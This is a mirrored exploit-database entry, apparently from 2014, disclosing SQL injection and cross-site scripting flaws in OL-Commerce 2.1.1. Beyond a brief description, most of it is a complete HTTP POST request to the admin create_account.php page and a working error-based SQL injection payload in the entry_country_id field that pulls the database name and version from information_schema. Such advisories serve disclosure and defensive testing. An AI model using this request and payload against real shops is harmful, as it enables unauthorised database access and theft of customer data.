OL-Commerce – ‘/OL-Commerce/admin/create_account.php?entry_country_id’ SQL Injection

  • 作者: AtT4CKxT3rR0r1ST
    日期: 2014-07-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39346/
  • source: https://www.securityfocus.com/bid/68719/info
     
    ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
     
    Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
     
    ol-commerce 2.1.1 is vulnerable; other versions may also be affected. 
    
    http://www.example.com/OL-Commerce/admin/create_account.php?action=edit
    
    POST /OL-Commerce/admin/create_account.php?action=editHTTP/1.1
    Host: www.example.com
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101
    Firefox/26.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer:
    http://www.example.com/OL-Commerce/admin/create_account.php?action=edit
    Cookie:
    Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 301
    
    default_address_id=&customers_gender=m&csID=100&customers_firstname=aaaa
    &customers_lastname=bbbb&customers_email_address=email@hotmail.com
    &entry_company=cccc&customers_vat_id=1212&entry_street_address=dddd
    &entry_postcode=00961&entry_city=eeee&entry_country_id=118[SQL INJECTION]
    &customers_telephone=12121233&customers_fax=23421424&status=0
    &customers_mail=yes&payment_unallowed=&shipping_unallowed=
    &entry_password=12121212&mail_comments=
    
    [NOTE]
    ------
    entry_country_id=118[SQL INJECTION]=118' and (select 1 from (select
    count(*),concat((select(select
    concat(cast(concat(database(),0x3a,version()) as char),0x7e)) from
    information_schema.tables limit 0,1),floor(rand(0)*2))x from
    information_schema.tables group by x)a) and 1=1-- -